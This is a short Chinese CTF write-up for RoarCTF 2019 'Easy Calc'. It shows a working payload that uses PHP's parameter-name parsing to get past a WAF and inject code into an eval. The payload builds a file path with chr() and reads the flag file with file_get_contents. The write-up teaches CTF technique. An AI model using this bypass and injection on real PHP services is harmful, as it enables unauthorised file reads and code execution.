2019RoarCTF-Easy Calc

源码:

$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
随便填写然后抓包:

像这种能够计算的多半是利用了eval
经过测试,发现只能传数字不能传字母
那么我们可以利用PHP的字符串解析特性来绕WAF
/calc.php?+num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

/f1agg可以用chr代替
收获
用chr代替字符
PHP的特性

浙公网安备 33010602011771号